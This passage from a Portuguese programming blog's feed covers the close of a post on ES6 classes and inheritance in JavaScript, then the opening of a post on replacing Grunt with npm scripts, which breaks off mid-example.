console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pessoa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__proto__&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sayTheName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// function sayTheName&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora possuímos a palavra reservada &lt;code class=&quot;language-text&quot;&gt;class&lt;/code&gt; para a construção de classes. Além
disso, temos a inserção do método &lt;code class=&quot;language-text&quot;&gt;constructor&lt;/code&gt;, que será executado no momento em que
a instância for criada.&lt;/p&gt;
&lt;p&gt;Não precisamos mais da assinatura &lt;code class=&quot;language-text&quot;&gt;Pessoa.prototype.method = function&lt;/code&gt;
para adicionarmos um método. Agora há uma sintaxe específica, muito mais clara
e fácil de lembrar.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1fe8dac458a469ed60158d951d6edef8/b4294/stay-classy.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 57.29166666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIEAwX/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAABxWFrLTnlH//EABkQAAMBAQEAAAAAAAAAAAAAAAABAhEQEv/aAAgBAQABBQJ0pSczzdGemf/EABYRAQEBAAAAAAAAAAAAAAAAAAAREv/aAAgBAwEBPwGMv//EABgRAAMBAQAAAAAAAAAAAAAAAAABEQMT/9oACAECAQE/AXrXTsj/xAAbEAACAQUAAAAAAAAAAAAAAAAAARARITFhcf/aAAgBAQAGPwKrFtRcXDJ//8QAGRABAQEBAQEAAAAAAAAAAAAAAQARIVHB/9oACAEBAAE/IdIclD5Zn2XsrItIhryMv//aAAwDAQACAAMAAAAQGP8A/8QAFhEBAQEAAAAAAAAAAAAAAAAAAQAR/9oACAEDAQE/EBAlq//EABgRAAIDAAAAAAAAAAAAAAAAAAABETFh/9oACAECAQE/EFIhRiz/xAAdEAEAAwABBQAAAAAAAAAAAAABABEhMUFRYXGB/9oACAEBAAE/ELyi1ZzfiY7Gk0cte06QfkCYDaYAACCPaKdU/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Stay classy San Diego! (sandiegouniontribune.com)&amp;quot;&quot;
        title=&quot;Stay classy San Diego! (sandiegouniontribune.com)&quot;
        src=&quot;/static/1fe8dac458a469ed60158d951d6edef8/b4294/stay-classy.jpg&quot;
        srcset=&quot;/static/1fe8dac458a469ed60158d951d6edef8/7809d/stay-classy.jpg 192w,
/static/1fe8dac458a469ed60158d951d6edef8/4ecad/stay-classy.jpg 384w,
/static/1fe8dac458a469ed60158d951d6edef8/b4294/stay-classy.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Stay classy San Diego! (sandiegouniontribune.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Note que no momento de instanciar a classe, nada muda em relação à versão atual.
O que temos de mais &quot;exótico&quot; é a capacidade de nomearmos parâmetros
(como os &lt;code class=&quot;language-text&quot;&gt;**kwargs&lt;/code&gt; do &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;),
na definição do construtor.&lt;/p&gt;
&lt;p&gt;Esse conceito, apresentado na linha &lt;code class=&quot;language-text&quot;&gt;constructor({nome, idade})&lt;/code&gt;, é chamado de
&lt;a href=&quot;https://github.com/lukehoban/es6features#destructuring&quot;&gt;&lt;em&gt;destructuring&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para chegarmos a um resultado parecido no &lt;em&gt;ES5&lt;/em&gt;, precisaríamos fazer o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Pessoa&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Pessoa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; idade &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;idade&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;idade &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; idade&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Herança&lt;/h2&gt;
&lt;p&gt;Lembra da confusão que era fazer heranças no &lt;em&gt;Javascript&lt;/em&gt;? Pois bem, ganhamos
nessa nova versão da linguagem a palavra reservada &lt;code class=&quot;language-text&quot;&gt;extends&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Atleta&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pessoa&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idade&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esporte &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Basquete&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; nome&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idade&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; idade &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;esporte &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; esporte&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; jogador &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Atleta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; idade&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; nome&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Fulano&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esporte&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Futebol&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jogador&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Fulano&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jogador&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;esporte&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Futebol&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; jogador2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Atleta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; idade&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; nome&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Beltrano&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jogador2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Beltrano&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jogador2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;esporte&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Basquete&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E para tornar ainda mais fácil essa prática, também ganhamos a função reservada
&lt;code class=&quot;language-text&quot;&gt;super&lt;/code&gt;, que é responsável por executar o método pai, dada a chamada em um
determinado método de uma classe filha.&lt;/p&gt;
&lt;p&gt;Para finalizar o nosso exemplo, na linha &lt;code class=&quot;language-text&quot;&gt;constructor({nome, idade, esporte=&apos;Basquete&apos;})&lt;/code&gt;
temos a apresentação do recurso &lt;a href=&quot;https://github.com/lukehoban/es6features#default--rest--spread&quot; title=&quot;Leia mais sobre default, rest e spread&quot;&gt;&lt;em&gt;default&lt;/em&gt;&lt;/a&gt;.
Com ele, somos capazes de definir valores padrões caso a passagem de determinado
parâmetro seja omitida.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Se tem algo que chama a atenção com o advento do &lt;em&gt;ECMAScript 6&lt;/em&gt; é a facilidade
na construção de classes e objetos, uma coisa que sempre foi muito confusa
(mas não menos eficiente) em &lt;em&gt;Javascript&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Bibliotecas como o &lt;em&gt;React&lt;/em&gt; tem feito um bom uso desse recurso, proporcionando
soluções limpas e legíveis, fáceis de estender e customizar.&lt;/p&gt;
&lt;p&gt;O suporte pelos &lt;em&gt;browsers&lt;/em&gt; ainda não é dos melhores, se fazendo necessário
o uso do &lt;em&gt;Babel&lt;/em&gt; para o &lt;em&gt;transpiling&lt;/em&gt; de &lt;em&gt;ES6&lt;/em&gt; para &lt;em&gt;ES5&lt;/em&gt;. Mesmo assim, nada
que impeça o uso de sintaxe &lt;em&gt;ES6&lt;/em&gt; nos seus próximos projetos.&lt;/p&gt;
&lt;p&gt;Confira a &lt;a href=&quot;https://babeljs.io/repl/#?evaluate=true&amp;#x26;presets=es2015%2Cstage-2&amp;#x26;code=class%20Pessoa%20%7B%0A%20%20constructor(%7Bnome%2C%20idade%7D)%20%7B%0A%20%20%20%20this.nome%20%3D%20nome%0A%20%20%20%20this.idade%20%3D%20idade%0A%20%20%7D%0A%20%20%0A%20%20sayTheName()%20%7B%0A%20%20%20%20console.log(this.nome)%3B%0A%20%20%7D%0A%7D%0A%0Alet%20pessoa%20%3D%20new%20Pessoa(%7Bidade%3A18%2C%20nome%3A&amp;#x27;Guido&amp;#x27;%7D)%3B%0Apessoa.sayTheName()%3B%20%2F%2F%20Guido%0Aconsole.log(pessoa.__proto__.sayTheName)%3B%20%2F%2F%20function%20sayTheName%0A%0Aclass%20Atleta%20extends%20Pessoa%20%7B%0A%20%20constructor(%7Bnome%2C%20idade%2C%20esporte%3D%22Basquete%22%7D)%20%7B%0A%20%20%20%20super(%7Bnome%2C%20idade%7D)%0A%0A%20%20%20%20this.esporte%20%3D%20esporte%0A%20%20%7D%0A%7D%0A%0Alet%20jogador%20%3D%20new%20Atleta(%7Bidade%3A%2022%2C%20nome%3A&amp;#x27;Fulano&amp;#x27;%2C%20esporte%3A&amp;#x27;Futebol&amp;#x27;%7D)%0Aconsole.log(jogador.nome)%3B%20%2F%2F%20Fulano%0Aconsole.log(jogador.esporte)%3B%20%2F%2F%20Futebol%0A%0Alet%20jogador2%20%3D%20new%20Atleta(%7Bidade%3A%2028%2C%20nome%3A%20&amp;#x27;Beltrano&amp;#x27;%7D)%3B%0Aconsole.log(jogador2.nome)%3B%20%2F%2F%20Beltrano%0Aconsole.log(jogador2.esporte)%3B%20%2F%2F%20Basquete&quot; title=&quot;Veja o código transpilado no Babel&quot;&gt;versão &quot;transpilada&quot; no &lt;em&gt;Babel&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.2ality.com/2015/08/getting-started-es6.html&quot;&gt;&lt;em&gt;2ality - Getting started with ECMAScript 6&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lukehoban/es6features&quot;&gt;&lt;em&gt;lukehoban - Overview of ECMAScript 6 features&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Vivendo sem o Grunt]]></title><description><![CDATA[No meu primeiro contato com o Grunt, ele não me convenceu. Qual era a
necessidade de um task runner se eu já tinha o ? O mesmo valia
para o…]]></description><link>https://klauslaube.com.br/2016/02/22/vivendo-sem-o-grunt.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/02/22/vivendo-sem-o-grunt.html</guid><pubDate>Mon, 22 Feb 2016 12:35:00 GMT</pubDate><content:encoded>&lt;p&gt;No meu primeiro contato com o &lt;em&gt;Grunt&lt;/em&gt;, ele não me convenceu. Qual era a
necessidade de um &lt;em&gt;task runner&lt;/em&gt; se eu já tinha o &lt;code class=&quot;language-text&quot;&gt;Makefile&lt;/code&gt;? O mesmo valia
para o &lt;em&gt;build&lt;/em&gt; de estáticos... &lt;em&gt;Frameworks&lt;/em&gt; como o &lt;em&gt;Django&lt;/em&gt; já possuíam um
&lt;em&gt;pipeline&lt;/em&gt; de concatenação e minificação, não sendo necessário que um processo
externo interferisse em algo que (até então) funcionava muito bem.&lt;/p&gt;
&lt;p&gt;Foi ao trabalhar com &lt;em&gt;Single Page Applications&lt;/em&gt; que o &lt;em&gt;Grunt&lt;/em&gt; me conquistou.
Coisas que iam da otimização de imagens a deploy para ambientes passaram a
ser responsabilidade da ferramenta, e a partir desse momento eu a carreguei
para todo projeto que participei.&lt;/p&gt;
&lt;p&gt;Mas o &lt;em&gt;Grunt&lt;/em&gt; não é &quot;bala de prata&quot;. Se para determinados problemas ele funciona
muito bem, para outros ele representa um &quot;peso&quot; questionável na sua &lt;em&gt;stack&lt;/em&gt;. Aumentando
tempo de desenvolvimento (alguém aí já sofreu com o &lt;code class=&quot;language-text&quot;&gt;grunt-contrib-watch&lt;/code&gt;?),
&lt;em&gt;build&lt;/em&gt; e &lt;em&gt;setup&lt;/em&gt; do seu ambiente.&lt;/p&gt;
&lt;p&gt;É baseado nesse contexto que &lt;a href=&quot;https://www.google.com.br/search?q=stop%20using%20grunt&amp;#x26;oq=stop%20using%20grunt&amp;#x26;aqs=chrome..69i57j0l5.1498j0j7&amp;#x26;sourceid=chrome&amp;#x26;es_sm=91&amp;#x26;ie=UTF-8&quot; title=&quot;Stop using Grunt&quot;&gt;faço coro com alguns &lt;em&gt;developers&lt;/em&gt; espalhados por aí&lt;/a&gt;:
Talvez o seu projeto não precise do &lt;em&gt;Grunt&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O que há de errado com o ele?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Nada!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Grunt&lt;/em&gt;, &lt;em&gt;Gulp&lt;/em&gt;, &lt;em&gt;Brocolli&lt;/em&gt;, &lt;em&gt;Brunch&lt;/em&gt;, etc. são ferramentas super bacanas que
cumprem com louvor o seu objetivo. Só que assim como o &lt;em&gt;jQuery&lt;/em&gt;, para
determinados casos elas podem ser &quot;too much&quot;.&lt;/p&gt;
&lt;p&gt;Assim como há uma frente defendendo o &lt;a href=&quot;http://www.codemag.com/article/1501101&quot; title=&quot;Why Micro JavaScript Library Should Be Used in Your Next Application&quot;&gt;uso de &lt;em&gt;microlibs&lt;/em&gt;&lt;/a&gt;
ao invés de &lt;em&gt;fat frameworks&lt;/em&gt;, há uma frente defendendo o uso do &lt;a href=&quot;http://www.sitepoint.com/guide-to-npm-as-a-build-tool/&quot; title=&quot;Give Grunt the Boot! A Guide to Using npm as a Build Tool&quot;&gt;&lt;em&gt;NPM&lt;/em&gt; como ferramenta de &lt;em&gt;build&lt;/em&gt;&lt;/a&gt;.
E por mais que possa parecer &quot;&lt;a href=&quot;https://www.youtube.com/watch?v=tSUtPkJhvOU&quot; title=&quot;Chora mais&quot;&gt;mimimi&lt;/a&gt;&quot;,
alguns argumentos fazem certo sentido. Como por exemplo, o do
&lt;em&gt;Keith Cirkel&lt;/em&gt; no &quot;&lt;a href=&quot;http://blog.keithcirkel.co.uk/why-we-should-stop-using-grunt/&quot; title=&quot;Você deveria parar de usar Grunt&quot;&gt;Why we should stop using Grunt &amp;#x26; Gulp&lt;/a&gt;&quot;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;None of these build tools work without plugins. Just found an awesome new
tool which will revolutionise your build process? Great! Now just wait for
someone to write a wrapper for Grunt/Gulp/Brocolli, or write it yourself.
Rather than just learning the command line for the tool you want to use,
you now have to learn its programatic API, plus the API for your build tool.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Flamewars&lt;/em&gt; e &quot;discursos de ódio&quot; à parte, a pergunta que fica é: Será que é tão difícil assim
montar um &lt;em&gt;pipeline&lt;/em&gt; de &lt;em&gt;build&lt;/em&gt; sem o uso de &lt;em&gt;Grunt&lt;/em&gt; e &lt;em&gt;Gulp&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 610px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/8652d59b005c92b42347b9272cb2622d/073a0/king-baratheon.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 67.1875%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgQF/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQD/2gAMAwEAAhADEAAAAdXFUsZLEf/EABoQAAIDAQEAAAAAAAAAAAAAAAECAAMSITH/2gAIAQEAAQUC1muxw6nsZ2MbkHn/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAZEAEAAgMAAAAAAAAAAAAAAAABABACUWH/2gAIAQEABj8CctE7QLf/xAAbEAACAgMBAAAAAAAAAAAAAAAAAREhMUFxYf/aAAgBAQABPyF1LYIkdekWXBKwaKoRgpH/2gAMAwEAAgADAAAAEDgP/8QAFhEAAwAAAAAAAAAAAAAAAAAAARAx/9oACAEDAQE/EBF//8QAFREBAQAAAAAAAAAAAAAAAAAAEDH/2gAIAQIBAT8Qp//EABsQAQEAAgMBAAAAAAAAAAAAAAERACExQWFR/9oACAEBAAE/ELGGwPZrLi1VXfDb7iUboHzDfFsXFEAu1OcdfkOy5//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Nem todo mundo gosta de Javalis (br.ign.com)&amp;quot;&quot;
        title=&quot;Nem todo mundo gosta de Javalis (br.ign.com)&quot;
        src=&quot;/static/8652d59b005c92b42347b9272cb2622d/073a0/king-baratheon.jpg&quot;
        srcset=&quot;/static/8652d59b005c92b42347b9272cb2622d/7809d/king-baratheon.jpg 192w,
/static/8652d59b005c92b42347b9272cb2622d/4ecad/king-baratheon.jpg 384w,
/static/8652d59b005c92b42347b9272cb2622d/073a0/king-baratheon.jpg 610w&quot;
        sizes=&quot;(max-width: 610px) 100vw, 610px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Nem todo mundo gosta de Javalis (br.ign.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ter uma ferramenta a menos na &lt;em&gt;stack&lt;/em&gt; do projeto pode tornar-ser um diferencial
ao reduzir atrito e curva de aprendizado. Mas tirar o &lt;em&gt;Grunt&lt;/em&gt; da jogada não
significa necessariamente ter menos complexidade no seu projeto...
Apenas significa fazer a mesma coisa com uma dependência a menos.&lt;/p&gt;
&lt;h2&gt;NPM como ferramenta de build&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;&lt;a href=&quot;https://www.npmjs.com/package/livereload&quot; title=&quot;LiveReload server&quot;&gt;Livereload&lt;/a&gt;&lt;/em&gt;
é uma biblioteca escrita em &lt;em&gt;Node&lt;/em&gt; que levanta um servidor que monitora alterações
no seu projeto e promove um &lt;em&gt;refresh&lt;/em&gt; no navegador &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Podemos executá-lo através da linha de comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ livereload meuprojeto/static/css&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É possível usar o &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt; como um &quot;centralizador&quot; de operações, assim
como fazemos com o nosso &lt;code class=&quot;language-text&quot;&gt;Makefile&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ npm run livereload&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para tanto, no arquivo &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt;, precisamos adicionar a chave &lt;code class=&quot;language-text&quot;&gt;scripts&lt;/code&gt;
com as instruções de execução para o comando &lt;code class=&quot;language-text&quot;&gt;livereload&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// package.json&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;livereload&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;livereload meuprojeto/static/css&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
